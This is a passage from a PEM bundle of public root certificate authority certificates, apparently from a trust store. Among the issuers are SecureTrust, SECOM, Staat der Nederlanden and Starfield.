LgBwAGsAaQAuAGcAdgBhAC4AZQBzAC8AYwBwAHMwJQYIKwYBBQUHAgEWGWh0dHA6
Ly93d3cucGtpLmd2YS5lcy9jcHMwHQYDVR0OBBYEFHs100DSHHgZZu90ECjcPk+y
eAT8MIGVBgNVHSMEgY0wgYqAFHs100DSHHgZZu90ECjcPk+yeAT8oWykajBoMQsw
CQYDVQQGEwJFUzEfMB0GA1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0G
A1UECxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290IENBIEdlbmVyYWxpdGF0IFZhbGVu
Y2lhbmGCBDtF5WgwDQYJKoZIhvcNAQEFBQADggEBACRhTvW1yEICKrNcda3Fbcrn
lD+laJWIwVTAEGmiEi8YPyVQqHxK6sYJ2fR1xkDar1CdPaUWu20xxsdzCkj+IHLt
b8zog2EWRpABlUt9jppSCS/2bxzkoXHPjCpaF3ODR00PNvsETUlR4hTJZGH71BTg
9J63NI8KJr2XXPR5OkowGcytT6CYirQxlyric21+eLj4iIlPsSKRZEv1UN4D2+XF
ducTZnV+ZfsBn5OHiJ35Rld8TWCvmHMTI6QgkYH60GFmuH3Rr9ZvHmw96RH9qfmC
IoaZM3Fa6hlXPZHNqcCjbgcTpsnt+GijnsNacgmHKNHEc8RzGF9QdRYxn7fofMM=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBK
MQswCQYDVQQGEwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24x
GTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkx
MjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3Qg
Q29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwgQ0EwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jxYDiJ
iQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa
/FHtaMbQbqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJ
jnIFHovdRIWCQtBJwB1g8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnI
HmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYVHDGA76oYa8J719rO+TMg1fW9ajMtgQT7
sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi0XPnj3pDAgMBAAGjgZ0w
gZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1UdEwEB/wQF
MAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCsw
KaAnoCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsG
AQQBgjcVAQQDAgEAMA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0L
URYD7xh8yOOvaliTFGCRsoTciE6+OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXO
H0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cnCDpOGR86p1hcF895P4vkp9Mm
I50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/53CYNv6ZHdAbY
iNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc
f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDEr
MCkGA1UEChMiSmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoG
A1UEAxMTU2VjdXJlU2lnbiBSb290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0
MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSswKQYDVQQKEyJKYXBhbiBDZXJ0aWZp
Y2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1cmVTaWduIFJvb3RD
QTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvLTJsz
i1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8
h9uuywGOwvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOV
MdrAG/LuYpmGYz+/3ZMqg6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9
UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rPO7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni
8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitAbpSACW22s293bzUIUPsC
h8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZXt94wDgYD
VR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEB
AKChOBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xm
KbabfSVSSUOrTC4rbnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQ
X5Ucv+2rIrVls4W6ng+4reV6G4pQOh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWr
QbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01y8hSyn+B/tlr0/cR7SXf+Of5
pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061lgeLKBObjBmN
QSdJQO7e5iNEOdyhIta6A/I=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBI
MQswCQYDVQQGEwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24x
FzAVBgNVBAMTDlNlY3VyZVRydXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIz
MTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAeBgNVBAoTF1NlY3VyZVRydXN0IENv
cnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQXOZEz
Zum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO
0gMdA+9tDWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIao
wW8xQmxSPmjL8xk037uHGFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj
7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b01k/unK8RCSc43Oz969XL0Imnal0ugBS
8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmHursCAwEAAaOBnTCBmjAT
BgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCeg
JYYjaHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGC
NxUBBAMCAQAwDQYJKoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt3
6Z3q059c4EVlew3KW+JwULKUBRSuSceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/
3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHfmbx8IVQr5Fiiu1cprp6poxkm
D5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZnMUFdAvnZyPS
CPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR
3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDfTCCAmWgAwIBAgIBADANBgkqhkiG9w0BAQUFADBgMQswCQYDVQQGEwJKUDEl
MCMGA1UEChMcU0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEqMCgGA1UECxMh
U2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBFViBSb290Q0ExMB4XDTA3MDYwNjAyMTIz
MloXDTM3MDYwNjAyMTIzMlowYDELMAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09N
IFRydXN0IFN5c3RlbXMgQ08uLExURC4xKjAoBgNVBAsTIVNlY3VyaXR5IENvbW11
bmljYXRpb24gRVYgUm9vdENBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALx/7FebJOD+nLpCeamIivqA4PUHKUPqjgo0No0c+qe1OXj/l3X3L+SqawSE
RMqm4miO/VVQYg+kcQ7OBzgtQoVQrTyWb4vVog7P3kmJPdZkLjjlHmy1V4qe70gO
zXppFodEtZDkBp2uoQSXWHnvIEqCa4wiv+wfD+mEce3xDuS4GBPMVjZd0ZoeUWs5
bmB2iDQL87PRsJ3KYeJkHcFGB7hj3R4zZbOOCVVSPbW9/wfrrWFVGCypaZhKqkDF
MxRldAD5kd6vA0jFQFTcD4SQaCDFkpbcLuUCRarAX1T4bepJz11sS6/vmsJWXMY1
VkJqMF/Cq/biPT+zyRGPMUzXn0kCAwEAAaNCMEAwHQYDVR0OBBYEFDVK9U2vP9eC
OKyrcWUXdYydVZPmMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0G
CSqGSIb3DQEBBQUAA4IBAQCoh+ns+EBnXcPBZsdAS5f8hxOQWsTvoMpfi7ent/HW
tWS3irO4G8za+6xmiEHO6Pzk2x6Ipu0nUBsCMCRGef4Eh3CXQHPRwMFXGZpppSeZ
q51ihPZRwSzJIxXYKLerJRO1RuGGAv8mjMSIkh1W/hln8lXkgKNrnKt34VFxDSDb
EJrbvXZ5B3eZKK2aXtqxT0QsNY6llsf9g/BYxnnWmHyojf6GPgcWkuF75x3sM3Z+
Qi5KhfmRiWiEA4Glm5q+4zfFVKtWOxgtQaQM+ELbmaDgcm+7XeEWT1MKZPlO9L9O
VL14bIjqv5wTJMJwaaJ/D8g8rQjJsJhAoyrniIPtd490
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDEl
MCMGA1UEChMcU0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMe
U2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoX
DTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRy
dXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3VyaXR5IENvbW11bmlj
YXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANAV
OVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGr
zbl+dp+++T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVM
VAX3NuRFg3sUZdbcDE3R3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQ
hNBqyjoGADdH5H5XTz+L62e4iKrFvlNVspHEfbmwhRkGeC7bYRr6hfVKkaHnFtWO
ojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1KEOtOghY6rCcMU/Gt1SSw
awNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8QIH4D5cs
OPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3
DQEBCwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpF
coJxDjrSzG+ntKEju/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXc
okgfGT+Ok+vx+hfuzU7jBBJV1uXk3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8
t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6qtnRGEmyR7jTV7JqR50S+kDFy
1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29mvVXIwAHIRc/
SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
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
5nBYgOao8p0LadEziVkw82TTC/bOKwn7fRB2LhA=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFcDCCA1igAwIBAgIEAJiWjTANBgkqhkiG9w0BAQsFADBYMQswCQYDVQQGEwJO
TDEeMBwGA1UECgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSkwJwYDVQQDDCBTdGFh
dCBkZXIgTmVkZXJsYW5kZW4gRVYgUm9vdCBDQTAeFw0xMDEyMDgxMTE5MjlaFw0y
MjEyMDgxMTEwMjhaMFgxCzAJBgNVBAYTAk5MMR4wHAYDVQQKDBVTdGFhdCBkZXIg
TmVkZXJsYW5kZW4xKTAnBgNVBAMMIFN0YWF0IGRlciBOZWRlcmxhbmRlbiBFViBS
b290IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA48d+ifkkSzrS
M4M1LGns3Amk41GoJSt5uAg94JG6hIXGhaTK5skuU6TJJB79VWZxXSzFYGgEt9nC
UiY4iKTWO0Cmws0/zZiTs1QUWJZV1VD+hq2kY39ch/aO5ieSZxeSAgMs3NZmdO3d
Z//BYY1jTw+bbRcwJu+r0h8QoPnFfxZpgQNH7R5ojXKhTbImxrpsX23Wr9GxE46p
rfNeaXUmGD5BKyF/7otdBwadQ8QpCiv8Kj6GyzyDOvnJDdrFmeK8eEEzduG/L13l
pJhQDBXd4Pqcfzho0LKmeqfRMb1+ilgnQ7O6M5HTp5gVXJrm0w912fxBmJc+qiXb
j5IusHsMX/FjqTf5m3VpTCgmJdrV8hJwRVXj33NeN/UhbJCONVrJ0yPr08C+eKxC
KFhmpUZtcALXEPlLVPxdhkqHz3/KRawRWrUgUY0viEeXOcDPusBCAUCZSCELa6fS
/ZbV0b5GnUngC6agIk440ME8MLxwjyx1zNDFjFE7PZQIZCZhfbnDZY8UnCHQqv0X
cgOPvZuM5l5Tnrmd74K74bzickFbIZTTRTeU0d8JOV3nI6qaHcptqAqGhYqCvkIH
1vI4gnPah1vlPNOePqc7nvQDs/nxfRN0Av+7oeX6AHkcpmZBiFxgV6YuCcS6/ZrP
px9Aw7vMWgpVSzs4dlG4Y4uElBbmVvMCAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB
/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFP6rAJCYniT8qcwaivsnuL8wbqg7
MA0GCSqGSIb3DQEBCwUAA4ICAQDPdyxuVr5Os7aEAJSrR8kN0nbHhp8dB9O2tLsI
eK9p0gtJ3jPFrK3CiAJ9Brc1AsFgyb/E6JTe1NOpEyVa/m6irn0F3H3zbPB+po3u
2dfOWBfoqSmuc0iH55vKbimhZF8ZE/euBhD/UcabTVUlT5OZEAFTdfETzsemQUHS
v4ilf0X8rLiltTMMgsT7B/Zq5SWEXwbKwYY5EdtYzXc7LMJMD16a4/CrPmEbUCTC
wPTxGfARKbalGAKb12NMcIxHowNDXLldRqANb/9Zjr7dn3LDWyvfjFvO5QxGbJKy
CqNMVEIYFRIYvdr8unRu/8G2oGTYqV9Vrp9canaW2HNnh/tNf1zuacpzEPuKqf2e
vTY4SUmH9A4U8OmHuD+nT3pajnnUk+S7aFKErGzp85hwVXIy+TSrK0m1zSBi5Dp6
Z2Orltxtrpfs/J92VoguZs9btsmksNcFuuEnL5O7Jiqik7Ab846+HUCjuTaPPoIa
Gl6I6lD4WeKDRikL40Rc4ZW2aZCaFG+XroHPaO+Zmr615+F/+PoTRxZMzG0IQOeL
eG9QgkRQP2YGiqtDhFZKDyAthg710tvSeopLzaXoTvFeJiUBWSOgftL2fiFX1ye8
FVdMpEbB4IMeDExNH08GGeL5qPQ6gqGyeUN51q1veieQA6TqJIc/2b3Z6fJfUEkc
7uzXLg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFyjCCA7KgAwIBAgIEAJiWjDANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJO
TDEeMBwGA1UECgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSswKQYDVQQDDCJTdGFh
dCBkZXIgTmVkZXJsYW5kZW4gUm9vdCBDQSAtIEcyMB4XDTA4MDMyNjExMTgxN1oX
DTIwMDMyNTExMDMxMFowWjELMAkGA1UEBhMCTkwxHjAcBgNVBAoMFVN0YWF0IGRl
ciBOZWRlcmxhbmRlbjErMCkGA1UEAwwiU3RhYXQgZGVyIE5lZGVybGFuZGVuIFJv
b3QgQ0EgLSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMVZ5291
qj5LnLW4rJ4L5PnZyqtdj7U5EILXr1HgO+EASGrP2uEGQxGZqhQlEq0i6ABtQ8Sp
uOUfiUtnvWFI7/3S4GCI5bkYYCjDdyutsDeqN95kWSpGV+RLufg3fNU254DBtvPU
Z5uW6M7XxgpT0GtJlvOjCwV3SPcl5XCsMBQgJeN/dVrlSPhOewMHBPqCYYdu8DvE
pMfQ9XQ+pV0aCPKbJdL2rAQmPlU6Yiile7Iwr/g3wtG61jj99O9JMDeZJiFIhQGp
5Rbn3JBV3w/oOM2ZNyFPXfUib2rFEhZgF1XyZWampzCROME4HYYEhLoaJXhena/M
UGDWE4dS7WMfbWV9whUYdMrhfmQpjHLYFhN9C0lK8SgbIHRrxT3dsKpICT0ugpTN
GmXZK4iambwYfp/ufWZ8Pr2UuIHOzZgweMFvZ9C+X+Bo7d7iscksWXiSqt8rYGPy
5V6548r6f1CGPqI0GAwJaCgRHOThuVw+R7oyPxjMW4T182t0xHJ04eOLoEq9jWYv
6q012iDTiIJh8BIitrzQ1aTsr1SIJSQ8p22xcik/Plemf1WvbibG/ufMQFxRRIEK
eN5KzlW/HdXZt1bv8Hb/C3m1r737qWmRRpdogBQ2HbN/uymYNqUg+oJgYjOk7Na6
B6duxc8UpufWkjTYgfX8HV2qXB72o007uPc5AgMBAAGjgZcwgZQwDwYDVR0TAQH/
BAUwAwEB/zBSBgNVHSAESzBJMEcGBFUdIAAwPzA9BggrBgEFBQcCARYxaHR0cDov
L3d3dy5wa2lvdmVyaGVpZC5ubC9wb2xpY2llcy9yb290LXBvbGljeS1HMjAOBgNV
HQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJFoMocVHYnitfGsNig0jQt8YojrMA0GCSqG
SIb3DQEBCwUAA4ICAQCoQUpnKpKBglBu4dfYszk78wIVCVBR7y29JHuIhjv5tLyS
CZa59sCrI2AGeYwRTlHSeYAz+51IvuxBQ4EffkdAHOV6CMqqi3WtFMTC6GY8ggen
5ieCWxjmD27ZUD6KQhgpxrRW/FYQoAUXvQwjf/ST7ZwaUb7dRUG/kSS0H4zpX897
IZmflZ85OkYcbPnNe5yQzSipx6lVu6xiNGI1E0sUOlWDuYaNkqbG9AclVMwWVxJK
gnjIFNkXgiYtXSAfea7+1HAWFpWD2DU5/1JddRwWxRNVz0fMdWVSSt7wsKfkCpYL
+63C4iWEst3kvX5ZbJvw8NjnyvLplzh+ib7M+zkXYT9y2zqR2GUBGR2tUKRXCnxL
vJxxcypFURmFzI79R6d0lR2o0a9OF7FpJsKqeFdbxU2n5Z4FF5TKsl+gSRiNNOkm
bEgeqmiSBeGCc1qb3AdbCG19ndeNIdn8FCCqwkXfP+cAslHkwvgFuXkajDTznlvk
N1trSt8sV4pAWja63XVECDdCcAz+3F4hoKOKwJCcaNpQ5kUQR3i2TtJlycM33+FC
Y7BXN0Ute4qcvwXqZVUz9zkQxSgqIXobisQk+T8VyJoVIPVVYpbtbZNQvOSqeK3Z
ywplh6ZmwcSBo3c6WB4L7oOLnR7SUqTMHW+wmG2UMbX4cQrcufx9MmDm66+KAQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIEAJiiOTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJO
TDEeMBwGA1UECgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSswKQYDVQQDDCJTdGFh
dCBkZXIgTmVkZXJsYW5kZW4gUm9vdCBDQSAtIEczMB4XDTEzMTExNDExMjg0MloX
DTI4MTExMzIzMDAwMFowWjELMAkGA1UEBhMCTkwxHjAcBgNVBAoMFVN0YWF0IGRl
ciBOZWRlcmxhbmRlbjErMCkGA1UEAwwiU3RhYXQgZGVyIE5lZGVybGFuZGVuIFJv
b3QgQ0EgLSBHMzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAL4yolQP
cPssXFnrbMSkUeiFKrPMSjTysF/zDsccPVMeiAho2G89rcKezIJnByeHaHE6n3WW
IkYFsO2tx1ueKt6c/DrGlaf1F2cY5y9JCAxcz+bMNO14+1Cx3Gsy8KL+tjzk7FqX
xz8ecAgwoNzFs21v0IJyEavSgWhZghe3eJJg+szeP4TrjTgzkApyI/o1zCZxMdFy
KJLZWyNtZrVtB0LrpjPOktvA9mxjeM3KTj215VKb8b475lRgsGYeCasH/lSJEULR
9yS6YHgamPfJEf0WwTUaVHXvQ9Plrk7O53vDxk5hUUurmkVLoR9BvUhTFXFkC4az
5S6+zqQbwSmEorXLCCN2QyIkHxcE1G6cxvx/K2Ya7Irl1s9N9WMJtxU51nus6+N8
6U78dULI7ViVDAZCopz35HCz33JvWjdAidiFpNfxC95DGdRKWCyMijmev4SH8RY7
Ngzp07TKbBlBUgmhHbBqv4LvcFEhMtwFdozL92TkA1CvjJFnq8Xy7ljY3r735zHP
bMk7ccHViLVlvMDoFxcHErVc0qsgk7TmgoNwNsXNo42ti+yjwUOH5kPiNL6VizXt
BznaqB16nzaeErAMZRKQFWDZJkBE41ZgpRDUajz9QdwOWke275dhdU/Z/seyHdTt
XUmzqWrLZoQT1Vyg3N9udwbRcXXIV2+vD3dbAgMBAAGjQjBAMA8GA1UdEwEB/wQF
MAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRUrfrHkleuyjWcLhL75Lpd
INyUVzANBgkqhkiG9w0BAQsFAAOCAgEAMJmdBTLIXg47mAE6iqTnB/d6+Oea31BD
U5cqPco8R5gu4RV78ZLzYdqQJRZlwJ9UXQ4DO1t3ApyEtg2YXzTdO2PCwyiBwpwp
LiniyMMB8jPqKqrMCQj3ZWfGzd/TtiunvczRDnBfuCPRy5FOCvTIeuXZYzbB1N/8
Ipf3YF3qKS9Ysr1YvY2WTxB1v0h7PVGHoTx0IsL8B3+A3MSs/mrBcDCw6Y5p4ixp
gZQJut3+TcCDjJRYwEYgr5wfAvg1VUkvRtTA8KCWAg8zxXHzniN9lLf9OtMJgwYh
/WA9rjLA0u6NpvDntIJ8CsxwyXmA+P5M9zWEGYox+wrZ13+b8KKaa8MFSu1BYBQw
0aoRQm7TIwIEC8Zl3d1Sd9qBa7Ko+gE4uZbqKmxnl4mUnrzhVNXkanjvSr0rmj1A
fsbAddJu+2gw7OyLnflJNZoaLNmzlTnVHpL3prllL+U9bTpITAjc5CgSKL59NVzq
4BZ+Extq1z7XnvwtdbLBFNUjA9tbbws+eC8N3jONFrdI54OagQ97wUNNVQQXOEpR
1VmiiXTTn74eS9fGbbeIJG9gkaSChVtWQbzQRKtqE77RLFi3EjNYsjdj3BP1lB0/
QFH1T/U67cjF68IeHRaVesd+QnGTbksVtzDfqu1XhUisHWrdOWnk4Xl4vs4Fv6EM
94B7IWcnMFk=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx
EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs
ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw
MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj
aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp
